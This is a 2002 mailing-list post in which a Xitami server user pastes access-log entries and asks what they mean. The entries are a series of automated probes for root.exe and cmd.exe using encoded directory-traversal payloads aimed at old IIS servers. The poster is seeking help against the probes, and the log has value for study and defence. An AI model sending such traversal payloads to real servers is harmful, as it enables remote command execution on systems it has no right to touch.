[Xitami] WTF is this in my logs?
Jay Moore
xitami@lists.xitami.org
Mon, 25 Feb 2002 10:02:44 -0500
This is in my logs.....WTF is it?
Note...this is not my IP..although the IP is owned by GTEI.net, it's in
Lancaster PA.
4.63.188.75 - - [23/Feb/2002:01:33:06 -0500] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:10 -0500] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:14 -0500] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:19 -0500] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:23 -0500] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:28 -0500] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:32 -0500] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:37 -0500] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:42 -0500] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:47 -0500] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:52 -0500] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:33:57 -0500] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:34:02 -0500] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:34:08 -0500] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:34:13 -0500] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:01:34:19 -0500] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:04:48:59 -0500] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:04:49:04 -0500] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:04:49:11 -0500] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:04:49:19 -0500] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:04:49:26 -0500] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
4.63.188.75 - - [23/Feb/2002:04:49:34 -0500] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""